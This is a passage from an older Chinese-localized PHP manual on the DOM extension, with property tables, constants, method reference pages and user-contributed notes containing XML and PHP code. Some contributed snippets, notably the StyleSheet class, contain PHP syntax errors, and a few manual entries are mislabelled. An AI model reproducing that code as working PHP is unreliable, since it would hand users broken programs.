  • DOMNodelist->item() - Retrieves a node specified by index

属性

表格 9.

Name | Type | Read-only | Description
length | int | yes | The number of nodes in the list. The range of valid child node indices is 0 to length - 1 inclusive.

DOMNotation

Extends DOMNode

属性

表格 10.

Name | Type | Read-only | Description
publicId | string | yes |
systemId | string | yes |

DOMProcessingInstruction

Extends DOMNode.

构造函数

  • DOMProcessingInstruction->__construct() - construct a new DOMProcessingInstruction object

属性

表格 11.

Name | Type | Read-only | Description
target | string | yes |
data | string | no |

DOMText

Extends DOMCharacterData.

构造函数

  • DOMText->__construct() - construct a new DOMText object

方法

  • DOMText->isWhitespaceInElementContent() - Indicates whether this text node contains whitespace

  • DOMText->splitText() - Breaks the node into two nodes at the specified offset

属性

表格 12.

Name | Type | Read-only | Description
wholeText | string | yes |

DOMXPath

构造函数

  • DOMXPath->__construct() - construct a new DOMXPath object

方法

  • DOMXPath->registerNamespace() - Registers the namespace with the DOMXpath object

  • DOMXPath->evaluate() - Evaluates the given XPath expression and returns a typed result if possible

  • DOMXPath->query() - Evaluates the given XPath expression

属性

表格 13.

Name | Type | Read-only | Description
document | DOMDocument |  |

范例

Many examples in this reference require an XML file. We will use book.xml that contains the following:

例子 1. chapter.xml

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE book PUBLIC "-//OASIS//DTD DocBook XML V4.1.2//EN"
 "http://www.oasis-open.org/docbook/xml/4.1.2/docbookx.dtd" [
]>
<book id="listing">
 <title>My lists</title>
 <chapter id="books">
  <title>My books</title>
  <para>
   <informaltable>
    <tgroup cols="4">
     <thead>
      <row>
       <entry>Title</entry>
       <entry>Author</entry>
       <entry>Language</entry>
       <entry>ISBN</entry>
      </row>
     </thead>
     <tbody>
      <row>
       <entry>The Grapes of Wrath</entry>
       <entry>John Steinbeck</entry>
       <entry>en</entry>
       <entry>0140186409</entry>
      </row>
      <row>
       <entry>The Pearl</entry>
       <entry>John Steinbeck</entry>
       <entry>en</entry>
       <entry>014017737X</entry>
      </row>
      <row>
       <entry>Samarcande</entry>
       <entry>Amine Maalouf</entry>
       <entry>fr</entry>
       <entry>2253051209</entry>
      </row>
      <!-- TODO: I have a lot of remaining books to add.. -->
     </tbody>
    </tgroup>
   </informaltable>
  </para>
 </chapter>
</book>

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

表格 14. XML constants

Constant | Value | Description
XML_ELEMENT_NODE (integer) | 1 | Node is a DOMElement
XML_ATTRIBUTE_NODE (integer) | 2 | Node is a DOMAttr
XML_TEXT_NODE (integer) | 3 | Node is a DOMText
XML_CDATA_SECTION_NODE (integer) | 4 | Node is a DOMCharacterData
XML_ENTITY_REF_NODE (integer) | 5 | Node is a DOMEntityReference
XML_ENTITY_NODE (integer) | 6 | Node is a DOMEntity
XML_PI_NODE (integer) | 7 | Node is a DOMProcessingInstruction
XML_COMMENT_NODE (integer) | 8 | Node is a DOMComment
XML_DOCUMENT_NODE (integer) | 9 | Node is a DOMDocument
XML_DOCUMENT_TYPE_NODE (integer) | 10 | Node is a DOMDocumentType
XML_DOCUMENT_FRAG_NODE (integer) | 11 | Node is a DOMDocumentFragment
XML_NOTATION_NODE (integer) | 12 | Node is a DOMNotation
XML_HTML_DOCUMENT_NODE (integer) | 13 |
XML_DTD_NODE (integer) | 14 |
XML_ELEMENT_DECL_NODE (integer) | 15 |
XML_ATTRIBUTE_DECL_NODE (integer) | 16 |
XML_ENTITY_DECL_NODE (integer) | 17 |
XML_NAMESPACE_DECL_NODE (integer) | 18 |
XML_ATTRIBUTE_CDATA (integer) | 1 |
XML_ATTRIBUTE_ID (integer) | 2 |
XML_ATTRIBUTE_IDREF (integer) | 3 |
XML_ATTRIBUTE_IDREFS (integer) | 4 |
XML_ATTRIBUTE_ENTITY (integer) | 5 |
XML_ATTRIBUTE_NMTOKEN (integer) | 7 |
XML_ATTRIBUTE_NMTOKENS (integer) | 8 |
XML_ATTRIBUTE_ENUMERATION (integer) | 9 |
XML_ATTRIBUTE_NOTATION (integer) | 10 |

表格 15. DOMException constants

Constant | Value | Description
DOM_INDEX_SIZE_ERR (integer) | 1 | If index or size is negative, or greater than the allowed value.
DOMSTRING_SIZE_ERR (integer) | 2 | If the specified range of text does not fit into a DOMString.
DOM_HIERARCHY_REQUEST_ERR (integer) | 3 | If any node is inserted somewhere it doesn't belong
DOM_WRONG_DOCUMENT_ERR (integer) | 4 | If a node is used in a different document than the one that created it.
DOM_INVALID_CHARACTER_ERR (integer) | 5 | If an invalid or illegal character is specified, such as in a name.
DOM_NO_DATA_ALLOWED_ERR (integer) | 6 | If data is specified for a node which does not support data.
DOM_NO_MODIFICATION_ALLOWED_ERR (integer) | 7 | If an attempt is made to modify an object where modifications are not allowed.
DOM_NOT_FOUND_ERR (integer) | 8 | If an attempt is made to reference a node in a context where it does not exist.
DOM_NOT_SUPPORTED_ERR (integer) | 9 | If the implementation does not support the requested type of object or operation.
DOM_INUSE_ATTRIBUTE_ERR (integer) | 10 | If an attempt is made to add an attribute that is already in use elsewhere.
DOM_INVALID_STATE_ERR (integer) | 11 | If an attempt is made to use an object that is not, or is no longer, usable.
DOM_SYNTAX_ERR (integer) | 12 | If an invalid or illegal string is specified.
DOM_INVALID_MODIFICATION_ERR (integer) | 13 | If an attempt is made to modify the type of the underlying object.
DOM_NAMESPACE_ERR (integer) | 14 | If an attempt is made to create or change an object in a way which is incorrect with regard to namespaces.
DOM_INVALID_ACCESS_ERR (integer) | 15 | If a parameter or an operation is not supported by the underlying object.
DOM_VALIDATION_ERR (integer) | 16 | If a call to a method such as insertBefore or removeChild would make the Node invalid with respect to "partial validity", this exception would be raised and the operation would not be done.
目录
DOMAttr->__construct() -- Creates a new DOMAttr object
DOMAttr->isId() -- Checks if attribute is a defined ID
DOMCharacterData->appendData() -- Append the string to the end of the character data of the node
DOMCharacterData->deleteData() -- Remove a range of characters from the node
DOMCharacterData->insertData() -- Insert a string at the specified 16-bit unit offset
DOMCharacterData->replaceData() -- Replace a substring within the DOMCharacterData node
DOMCharacterData->substringData() -- Extracts a range of data from the node
DOMComment->__construct() -- Creates a new DOMComment object
DOMDocument->__construct() -- Creates a new DOMDocument object
DOMDocument->createAttribute() -- Create new attribute
DOMDocument->createAttributeNS() -- Create new attribute node with an associated namespace
DOMDocument->createCDATASection() -- Create new cdata node
DOMDocument->createComment() -- Create new comment node
DOMDocument->createDocumentFragment() -- Create new document fragment
DOMDocument->createElement() -- Create new element node
DOMDocument->createElementNS() -- Create new element node with an associated namespace
DOMDocument->createEntityReference() -- Create new entity reference node
DOMDocument->createProcessingInstruction() -- Creates new PI node
DOMDocument->createTextNode() -- Create new text node
DOMDocument->getElementById() -- Searches for an element with a certain id
DOMDocument->getElementsByTagName() -- Searches for all elements with given tag name
DOMDocument->getElementsByTagNameNS() -- Searches for all elements with given tag name in specified namespace
DOMDocument->importNode() -- Import node into current document
DOMDocument->load() -- Load XML from a file
DOMDocument->loadHTML() -- Load HTML from a string
DOMDocument->loadHTMLFile() -- Load HTML from a file
DOMDocument->loadXML() -- Load XML from a string
DOMDocument->normalize() -- Normalizes the document
DOMDocument->relaxNGValidate() -- Performs relaxNG validation on the document
DOMDocument->relaxNGValidateSource() -- Performs relaxNG validation on the document
DOMDocument->save() -- Dumps the internal XML tree back into a file
DOMDocument->saveHTML() -- Dumps the internal document into a string using HTML formatting
DOMDocument->saveHTMLFile() -- Dumps the internal document into a file using HTML formatting
DOMDocument->saveXML() -- Dumps the internal XML tree back into a string
DOMDocument->schemaValidate() -- Validates a document based on a schema
DOMDocument->schemaValidateSource() -- Validates a document based on a schema
DOMDocument->validate() -- Validates the document based on its DTD
DOMDocument->xinclude() -- Substitutes XIncludes in a DOMDocument Object
DOMElement->__construct() -- Creates a new DOMElement object
DOMElement->getAttribute() -- Returns value of attribute
DOMElement->getAttributeNode() -- Returns attribute node
DOMElement->getAttributeNodeNS() -- Returns attribute node
DOMElement->getAttributeNS() -- Returns value of attribute
DOMElement->getElementsByTagName() -- Gets elements by tagname
DOMElement->getElementsByTagNameNS() -- Get elements by namespaceURI and localName
DOMElement->hasAttribute() -- Checks to see if attribute exists
DOMElement->hasAttributeNS() -- Checks to see if attribute exists
DOMElement->removeAttribute() -- Removes attribute
DOMElement->removeAttributeNode() -- Removes attribute
DOMElement->removeAttributeNS() -- Removes attribute
DOMElement->setAttribute() -- Adds new attribute
DOMElement->setAttributeNode() -- Adds new attribute node to element
DOMElement->setAttributeNodeNS() -- Adds new attribute node to element
DOMElement->setAttributeNS() -- Adds new attribute
DOMAttr->__construct() -- Creates a new DOMEntityReference object
DOMImplementation->__construct() -- Creates a new DOMImplementation object
DOMImplementation->createDocument() -- Creates a DOMDocument object of the specified type with its document element
DOMImplementation->createDocumentType() -- Creates an empty DOMDocumentType object
DOMImplementation->hasFeature() -- Test if the DOM implementation implements a specific feature
DOMNamedNodeMap->getNamedItem() -- Retrieves a node specified by name
DOMNamedNodeMap->getNamedItemNS() -- Retrieves a node specified by local name and namespace URI
DOMNamedNodeMap->item() -- Retrieves a node specified by index
DOMNode->appendChild() -- Adds new child at the end of the children
DOMNode->cloneNode() -- Clones a node
DOMNode->hasAttributes() -- Checks if node has attributes
DOMNode->hasChildNodes() -- Checks if node has children
DOMNode->insertBefore() -- Adds a new child before a reference node
DOMNode->isSameNode() -- Indicates if two nodes are the same node
DOMNode->isSupported() -- Checks if feature is supported for specified version
DOMNode->lookupNamespaceURI() -- Gets the namespace URI of the node based on the prefix
DOMNode->lookupPrefix() -- Gets the namespace prefix of the node based on the namespace URI
DOMNode->normalize() -- Normalizes the node
DOMNode->removeChild() -- Removes child from list of children
DOMNode->replaceChild() -- Replaces a child
DOMNodelist->item() -- Retrieves a node specified by index
DOMProcessingInstruction->__construct() -- Creates a new DOMProcessingInstruction object
DOMText->__construct() -- Creates a new DOMText object
DOMText->isWhitespaceInElementContent() -- Indicates whether this text node contains whitespace
DOMText->splitText() -- Breaks this node into two nodes at the specified offset
DOMXPath->__construct() -- Creates a new DOMXPath object
DOMXPath->evaluate() -- Evaluates the given XPath expression and returns a typed result if possible.
DOMXPath->query() -- Evaluates the given XPath expression
DOMXPath->registerNamespace() -- Registers the namespace with the DOMXPath object
dom_import_simplexml -- Gets a DOMElement object from a SimpleXMLElement object

add a note add a note User Contributed Notes
medyk dot php dot net at medikoo dot com
17-Apr-2006 08:19
In installation notes it is stated that DOM functions are part of php core. Which is not exactly true (at least for 5.1x branch). They're loaded by default but they're not part of a core. If you use --disable-all in cofigure options and want to use DOM functions you need to add --enable-dom and --enable-libxml to have it.
When not using --disable-all you can take out DOM functionality from your installation using --disable-dom
massimo dot scamarcia at gmail dot com
20-Feb-2006 06:56
If you're moving from PHP4 to PHP5, you can keep your scripts untouched using this:

http://alexandre.alapetite.net/doc-alex/domxml-php4-php5/index.en.html
me at somewhere dot com
08-Jan-2006 11:56
When using include/require statements to bring in common PHP code, you may accidentally put a blank line after the trailing "?>" in the included file (ie. two newlines following the "?>" sequence). The output will contain these blank lines and, for outputting HTML, this is no biggie as web browsers are usually relaxed about parsing HTML syntax. However, XML output generated via DOMDocument->saveXML() will be checked more carefully, and XML parsers (like the one that comes with firefox/mozilla) will complain that the <?xml ....?> tag doesn't begin on the first line.

While the best solution is to make sure blank lines do not trail in the included files, you can't always guarentee that a set of include files you grab from the internet will comply. Since the nature of DOM XML generation involves building the DOM structure first, then converting it all to XML, and finally printing it all in one shot, you can safely wipe any blank lines that snuck into the output buffer when files were getting included by calling ob_clear() right before printing/echoing the XML:

dom.php:
<?php
$doc = new DOMDocument('1.0', 'iso-8859-1');
$doc->formatOutput = true;
?>
...garbage trailing at the end....

foobar.php:
<?php
include 'dom.php'

//Build up $doc here

header("Content-type: text/xml");
ob_clean();
echo $doc->saveXML();
?>
simlee at indiana dot edu
29-Dec-2005 04:16
The project I'm currently working on uses XPaths to dynamically navigate through chunks of an XML file.  I couldn't find any PHP code on the net that would build the XPath to a node for me, so I wrote my own function.  Turns out it wasn't as hard as I thought it might be (yay recursion), though it does entail using some PHP shenanigans...

Hopefully it'll save someone else the trouble of reinventing this wheel.

<?php
   function getNodeXPath( $node ) {
       // REMEMBER THAT XPATHS USE BASE-1 INSTEAD OF BASE-0!!!

       // Get the index for the current node by looping through the siblings.
       $parentNode = $node->parentNode;
       if( $parentNode != null ) {
           $nodeIndex = 0;
           do {
               $testNode = $parentNode->childNodes->item( $nodeIndex );
               $nodeName = $testNode->nodeName;
               $nodeIndex++;

               // PHP trickery!  Here we create a counter based on the node
               //  name of the test node to use in the XPath.
               if( !isset( $$nodeName ) ) $$nodeName = 1;
               else $$nodeName++;

               // Failsafe return value.
               if( $nodeIndex > $parentNode->childNodes->length ) return( "/" );
           } while( !$node->isSameNode( $testNode ) );

           // Recursively get the XPath for the parent.
           return( getNodeXPath( $parentNode ) . "/{$node->nodeName}[{$$nodeName}]" );
       } else {
           // Hit the root node!  Note that the slash is added when
           //  building the XPath, so we return just an empty string.
           return( "" );
       }
   }
?>
johanwthijs-at-hotmail-dot-com
14-Dec-2005 10:25
Being an experienced ASP developer I was wondering how to replace textual content of a node (with msxml this is simply acheived by setting the 'text' property of a node). Out of frustration I started to play around with SimpleXml but I could not get it to work in combination with xPath.

I took me a lot of time to find out so I hope this helps others:

function replaceNodeText($objXml, $objNode, $strNewContent){
   /*
   This function replaces a node's string content with strNewContent
   */
   $objNodeListNested = &$objNode->childNodes;
   foreach ( $objNodeListNested as $objNodeNested ){
         if ($objNodeNested->nodeType == XML_TEXT_NODE)$objNode->removeChild ($objNodeNested);
   }

   $objNode->appendChild($objXml->createTextNode($strNewContent));
}

$objXml= new DOMDocument();
$objXml->loadXML('<root><node id="1">bla</note></root>');
$objXpath = new domxpath($objXml);

$strXpath="/root/node[@id='1']";
$objNodeList = $objXpath ->query($strXpath);
foreach ($objNodeList as $objNode){
//pass the node by reference
replaceNodeText($objXml, &$objNode, $strImportedValue);
}
mark at vectrex dot org dot uk
18-Nov-2005 06:10
Note that these DOM functions expect (and presumably return) all their data in UTF-8 character encoding, regardless of what PHP's current encoding is. This means that text nodes, attribute values etc, should be in utf8.

This applies even if you're generating an XML document which is not ultimately in utf8.

Mark
toby at tobiasly dot com
23-Oct-2005 02:08
This module is not included by default either in the CentOS 4 "centosplus" repository. For those using PHP5 on CentOS 4, a simple "yum --enablerepo=centosplus install php-xml" will do the trick (this will install both the XML and DOM modules).
pes_cz
29-Sep-2005 03:32
When I tried to parse my XHTML Strict files with DOM extension, it couldn't understand xhtml entities (like &copy;). I found post about it here (14-Jul-2005 09:05) which adviced to add resolveExternals = true, but it was very slow. There was some small note about xml catalogs but without any glue. Here it is:

XML catalogs is something like cache. Download all needed dtd's to /etc/xml, edit file /etc/xml/catalog and add this line: <public publicId="-//W3C//DTD XHTML 1.0 Strict//EN" uri="file:///etc/xml/xhtml1-strict.dtd" />

Thats all. Thanks to http://www.whump.com/moreLikeThis/link/03815
amir.laherATcomplinet.com
22-Aug-2005 08:09
This particular W3C page provides invaluable documentation for the DOM classes implemented in php5 (via libxml2). It fills in plenty of php.net's gaps:

http://www.w3.org/TR/DOM-Level-2-Core/core.html

Some key examples:
* concise summary of the class heirachy (1.1.1)
* clarification that DOM level 2 doesn't allow for population of internal DTDs
* explanation of DOMNode->normalize()
* explanation of the DOMImplementation class

The interfaces are described in OMG's Interface Definition Language
lhaire at lettres dot unige dot ch
19-Aug-2005 12:39
Text nodes contain utf-8 encoding internally, no matter if you specify iso-8859-1 in the file you parse or create a new doc using

$xmltree = new DomDocument('1.0','iso-8859-1');

The solution is to use utf8_decode

$original =
utf8_decode(
$myitem->getElementsByTagName('ORIGINAL')->item(0)->nodeValue);
aidan at php dot net
19-Jul-2005 09:04
As of PHP 5.1, libxml options may be set using constants rather than the use of proprietary DomDocument properties.

DomDocument->resolveExternals is equivilant to setting
LIBXML_DTDLOAD
LIBXML_DTDATTR

DomDocument->validateOnParse is equivilant to setting
LIBXML_DTDLOAD
LIBXML_DTDVALID

PHP 5.1 users are encouraged to use the new constants.

Example:

DomDocument->load($file, LIBXML_DTDLOAD|LIBXML_DTDATTR);

DomDocument->load($file, LIBXML_DTDLOAD|LIBXML_DTDVALID);
aidan at php dot net
19-Jul-2005 11:27
When dealing with validation or loading, the output errors can be quite annoying.

PHP 5.1 introduces libxml_get_errors().

http://php.net/libxml_get_errors
php at webdevelopers dot cz
15-Jul-2005 03:05
[Editor's Note: If you're using entities, then you have no choice. XML Catalogs can speed DTD resolution.]

Never use

$dom->resolveExternals=true;

when parsing XHTML document that has the DOCTYPE declaration with DTD URL specified in it.

Otherwise parsing the XHTML with DOCTYPE like this one:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

will result in PHP/DOM downloading the DTD file from W3C site when parsing your document. It will add extra delay to your script - I experienced that $dom->load()'s total time was from 1 to 16 seconds.

elixon
spammable69 at hotmail dot com
12-Apr-2005 01:18
I wrote a framework to implement the StyleSheet interfaces as specified on the W3C website.  The code is written in PHP, and is NOT a complete implementation.  Use it how ya like.  I was planning on adding the CSSStyleSheet interfaces as well.  Feel free to ask.

<?
   class StyleSheetList {
       public length;
       private self;

       function __construct ( ) {
           $this->self = array();
       }

       function __get($property, $&ret) {
           if($property == 'length')
               $ret = count($this->self);
           return true;
       }

       function __set($property, $val) {
           if($property == 'length')
               return true;
       }

       function item( $index ) {
           return $this->self[$index];
       }
   }

   class MediaList extends StyleSheetList {

       function appendMedium ( $newMedium ) {
           array_push($this->self, $newMedium);
       }

       function deleteMedium ( $oldMedium ) {
           foreach($this->self as $item) {
               if( $item == $oldMedium ) {
                   $item = $this->self[ $this->length-1 ];
                   array_pop($this->self);
                   break;
               }
           }
       }
   }

   class DocumentStyle {
       public styleSheets;

       function __construct ( ) {
           $this->styleSheets = new StyleSheetList();
       }

       function __set($property, $val) {
           if($property == 'styleSheets')
               return true;
       }
   }

   class LinkStyle {
       public sheet;

       function __construct () {
           $this->sheet = new StyleSheet();
       }

       function __set($property, $val) {
           if($property == 'sheet')
               return true;
       }
   }

   class StyleSheet {
       public type;
       public disabled;
       public ownerNode;
       public parentStyleSheet;
       public href;
       public title;
       public media;

       function __construct( $type, $disabled, $ownerNode, $parentStyleSheet, $href, $title){
           $this->type = $type;
           $this->disabled = $disabled;
           $this->media = new MediaList();
           $this->ownerNode = $ownerNode;
           $this->parentStyleSheet = $parentStyleSheet;
           $this->href = $href;
           $this->title = $title;
       }
   }
?>

Only contactable via http://murpsoft.com/contact.html
shruti224 at yahoo dot com
31-Mar-2005 11:25
my bad..its not an attribute ..its a text element node so if one checks for that, it can be easily corrected.

Wrote the corrected function. I hope it takes care of all conditions. If someone finds any issues with it, I would be glad to know about it.

function readXml($domnode, &$array)
{
       $array_ptr = &$array;
       $domnode = $domnode->firstChild;
       while (!is_null($domnode))
       {
               switch ($domnode->nodeType)
               {
                       case XML_TEXT_NODE:      if(!(trim($domnode->nodeValue) == ""))
                                                       $array_ptr['cdata'] = $domnode->nodeValue;
                                               break;
                       case XML_ELEMENT_NODE:
                                               $array_ptr = &$array[$domnode->nodeName][];
                                               if ($domnode->hasAttributes() )
                                               {
                                                       $attributes = $domnode->attributes;
                                                       foreach ($attributes as $index => $domobj)
                                                       {
                                                             $array_ptr[$domobj->name] = $domobj->value;
                                                       }
                                               }
                                               break;
               }
               if ( $domnode->hasChildNodes() )
               {
                       readXml($domnode, $array_ptr);
               }
               $domnode = $domnode->nextSibling;
       }
}
roger4a45 at yahoo dot es
23-Feb-2005 07:35
Output a special chars like &agrave in your XML/XSLT

Following example create a easy XML that is transformed by a xsl i'll show below:

XSL FILE v1.xsl

<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet
version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns="http://www.w3.org/TR/REC-html40">
<xsl:template match="TEST">
<xsl:value-of select="NAME"/><BR/>
</xsl:template>
</xsl:stylesheet>

PHP SOURCE CODE

<?php
$xml = new DOMDocument('1.0', 'utf-8'); //Change encoding to utf-8
$xsl = new DOMDocument;
$xsl->load('v1.xsl');
$proc = new XSLTProcessor;
$root = $xml->CreateElement("TEST");
$val = utf8_encode ('Andrs Poluk'); //New Line
$child = $xml->CreateElement("NAME",$val);
$root->appendChild($child);
$xml->appendChild($root);
$proc->importStyleSheet($xsl);
echo $proc->transformToXML($xml);
?>
oliver dot christen at camptocamp dot com
20-Nov-2004 12:20
simple exemple of how to get the value of an attribute, delete that attribute and create a new element at the place we want with the value of the attribute

<?xml version="1.0"?>

<book type="paperback">
   <title name='MAP'>Red Nails</title>
   <price>$12.99</price>
   <author>
       <name first="Robert" middle="E" last="Howard"/>
       <birthdate>9/21/1977</birthdate>
   </author>
</book>

<?php

//filename xml file to use
$file = 'book.xml';

$doc = new domDocument;

if (file_exists($file)) {
   $doc->load($file);
} else {
   exit('Erreur !.');
}

$xpath = new domXPath($doc);

$query = "//author/*";
$xpathQuery = $xpath->query($query);

// a for loop to iterate all the elements in the xpathQuery nodelist and allow us to find what we want
// i could have used a while loop also, use what you prefer
$size = $xpathQuery->length;
for ($i=0; $i<$size; $i++){
   $node = $xpathQuery->item($i);
   if ($node->nodeName == 'name' && $node->hasAttributes()){

       foreach ($node->attributes as $attribute) {
           if ($attribute->name == 'last' && $attribute->value == 'Howard'){
               foreach ($node->attributes as $attribute) {
                   if ($attribute->name == 'first'){
                       // get first name value
                       $firstname = $attribute->value;
                       // we need the current node later so we know where to add the new element
                       $refnode = $node;
                       // remove the firstname attribut
                       $node->removeAttribute('first');
                   }
               }
           }
       }
   }
}
if (isset($refnode)) {
   // we need the parent node (see below)
   $parentnode = $refnode->parentNode;
   // creat new element firstname
   $newnode = $doc->createElement('firstname', $firstname);
   // optional, creat a linebreak element
   $newtextnode = $doc->createTextNode(chr(10));
   // insert the new element before the reference node (in this case, the 'name' node)
   $newnode = $parentnode->insertBefore($newnode, $refnode);
   // optional, insert the linebreak before the reference node, hence after the new 'firstname' element
   $newtextnode = $parentnode->insertBefore($newtextnode, $refnode);
}

print $doc->saveXML();

?>
add a note add a note

后退 | 起点 | 前进
scandir | 上一级 | DOMAttr->__construct()


DOMAttr->__construct()

(no version information, might be only in CVS)

DOMAttr->__construct() -- Creates a new DOMAttr object

说明

class DOMAttr {

__construct ( string name [, string value] )

}

Creates a new DOMAttr object. This object is read only. It may be appended to a document, but additional nodes may not be appended to this node until the node is associated with a document. To create a writeable node, use DOMDocument->createAttribute().

参数

name

The tag name of the attribute.

value

The value of the attribute.

范例

例子 1. Creating a new DOMAttr

<?php

$dom = new DOMDocument('1.0', 'iso-8859-1');
$element = $dom->appendChild(new DOMElement('root'));
$attr = $element->setAttributeNode(new DOMAttr('attr', 'attrvalue'));
echo $dom->saveXML(); /* <?xml version="1.0" encoding="iso-8859-1"?><root attr="attrvalue" /> */

?>

参见

DOMDocument->createAttribute()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOM Functions | 上一级 | DOMAttr->isId()


DOMAttr->isId()

(no version information, might be only in CVS)

DOMAttr->isId() -- Checks if attribute is a defined ID

说明

class DOMAttr {

bool isId ( void )

}

This function checks if the attribute is a defined ID.

According to the DOM standard this requires a DTD which defines the attribute ID to be of type ID. You need to validate your document with DOMDocument->validate() or DOMDocument::validateOnParse before using this function.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. DOMAttr->isId() Example

<?php

$doc = new DomDocument;

// We need to validate our document before refering to the id
$doc->validateOnParse = true;
$doc->Load('book.xml');

// We retrieve the attribute named id of the chapter element
$attr = $doc->getElementsByTagName('chapter')->item(0)->getAttributeNode('id');

var_dump($attr->isId()); // bool(true)

?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMAttr->__construct() | 上一级 | DOMCharacterData->appendData()


DOMCharacterData->appendData()

(no version information, might be only in CVS)

DOMCharacterData->appendData() -- Append the string to the end of the character data of the node

说明

class DOMCharacterData {

void appendData ( string data )

}

Append the string data to the end of the character data of the node.

参数

data

The string to append.

返回值

无返回值。

参见

DOMCharacterData->deleteData()
DOMCharacterData->insertData()
DOMCharacterData->replaceData()
DOMCharacterData->substringData()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMAttr->isId() | 上一级 | DOMCharacterData->deleteData()


DOMCharacterData->deleteData()

(no version information, might be only in CVS)

DOMCharacterData->deleteData() -- Remove a range of characters from the node

说明

class DOMCharacterData {

void deleteData ( int offset, int count )

}

Deletes count characters starting from position offset.

参数

offset

The offset from which to start removing.

count

The number of characters to delete. If the sum of offset and count exceeds the length, then all characters to the end of the data are deleted.

返回值

无返回值。

异常

DOM_INDEX_SIZE_ERR

Raised if offset is negative or greater than the number of 16-bit units in data, or if count is negative.

参见

DOMCharacterData->appendData()
DOMCharacterData->insertData()
DOMCharacterData->replaceData()
DOMCharacterData->substringData()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMCharacterData->appendData() | 上一级 | DOMCharacterData->insertData()


DOMCharacterData->insertData()

(no version information, might be only in CVS)

DOMCharacterData->insertData() -- Insert a string at the specified 16-bit unit offset

说明

class DOMCharacterData {

void insertData ( int offset, string data )

}

Inserts string data at position offset.

参数

offset

The character offset at which to insert.

data

The string to insert.

返回值

无返回值。

异常

DOM_INDEX_SIZE_ERR

Raised if offset is negative or greater than the number of 16-bit units in data.

参见

DOMCharacterData->appendData()
DOMCharacterData->deleteData()
DOMCharacterData->replaceData()
DOMCharacterData->substringData()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMCharacterData->deleteData() | 上一级 | DOMCharacterData->replaceData()


DOMCharacterData->replaceData()

(no version information, might be only in CVS)

DOMCharacterData->replaceData() -- Replace a substring within the DOMCharacterData node

说明

class DOMCharacterData {

void replaceData ( int offset, int count, string data )

}

Replace count characters starting from position offset with data.

参数

offset

The offset from which to start replacing.

count

The number of characters to replace. If the sum of offset and count exceeds the length, then all characters to the end of the data are replaced.

data

The string with which the range must be replaced.

返回值

无返回值。

异常

DOM_INDEX_SIZE_ERR

Raised if offset is negative or greater than the number of 16-bit units in data, or if count is negative.

参见

DOMCharacterData->appendData()
DOMCharacterData->deleteData()
DOMCharacterData->insertData()
DOMCharacterData->substringData()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMCharacterData->insertData() | 上一级 | DOMCharacterData->substringData()


DOMCharacterData->substringData()

(no version information, might be only in CVS)

DOMCharacterData->substringData() -- Extracts a range of data from the node

说明

class DOMCharacterData {

string substringData ( int offset, int count )

}

Returns the specified substring.

参数

offset

Start offset of substring to extract.

count

The number of characters to extract.

返回值

The specified substring. If the sum of offset and count exceeds the length, then all 16-bit units to the end of the data are returned.

异常

DOM_INDEX_SIZE_ERR

Raised if offset is negative or greater than the number of 16-bit units in data, or if count is negative.

参见

DOMCharacterData->appendData()
DOMCharacterData->deleteData()
DOMCharacterData->insertData()
DOMCharacterData->replaceData()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMCharacterData->replaceData() | 上一级 | DOMComment->__construct()


DOMComment->__construct()

(no version information, might be only in CVS)

DOMComment->__construct() -- Creates a new DOMComment object

说明

class DOMComment {

__construct ( [string value] )

}

Creates a new DOMComment object. This object is read only. It may be appended to a document, but additional nodes may not be appended to this node until the node is associated with a document. To create a writeable node, use DOMDocument->createComment().

参数

value

The value of the comment.

范例

例子 1. Creating a new DOMComment

<?php

$dom = new DOMDocument('1.0', 'iso-8859-1');
$element = $dom->appendChild(new DOMElement('root'));
$comment = $element->appendChild(new DOMComment('root comment'));
echo $dom->saveXML(); /* <?xml version="1.0" encoding="iso-8859-1"?><root><!--root comment--></root> */

?>

参见

DOMDocument->createComment()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMCharacterData->substringData() | 上一级 | DOMDocument->__construct()


DOMDocument->__construct()

(no version information, might be only in CVS)

DOMDocument->__construct() -- Creates a new DOMDocument object

说明

class DOMDocument {

__construct ( [string version [, string encoding]] )

}

Creates a new DOMDocument object.

参数

version

The version number of the document as part of the XML declaration.

encoding

The encoding of the document as part of the XML declaration.

范例

例子 1. Creating a new DOMDocument

<?php

$dom = new DOMDocument('1.0', 'iso-8859-1');

echo $dom->saveXML(); /* <?xml version="1.0" encoding="iso-8859-1"?> */

?>

参见

DOMImplementation->createDocument()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMComment->__construct() | 上一级 | DOMDocument->createAttribute()


DOMDocument->createAttribute()

(no version information, might be only in CVS)

DOMDocument->createAttribute() -- Create new attribute

说明

class DOMDocument {

DOMAttr createAttribute ( string name )

}

This function creates a new instance of class DOMAttr. 本节点不会出现在文档中，除非是用例如 DOMNode->appendChild() 函数来将其插入。

参数

name

The name of the attribute.

返回值

The new DOMAttr or FALSE if an error occured.

异常

DOM_INVALID_CHARACTER_ERR

Raised if name contains an invalid character.

参见

DOMNode->appendChild()
DOMDocument->createAttributeNS()
DOMDocument->createCDATASection()
DOMDocument->createComment()
DOMDocument->createDocumentFragment()
DOMDocument->createElement()
DOMDocument->createElementNS()
DOMDocument->createEntityReference()
DOMDocument->createProcessingInstruction()
DOMDocument->createTextNode()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOMDocument->__construct() | 上一级 | DOMDocument->createAttributeNS()


DOMDocument->createAttributeNS()

(no version information, might be only in CVS)

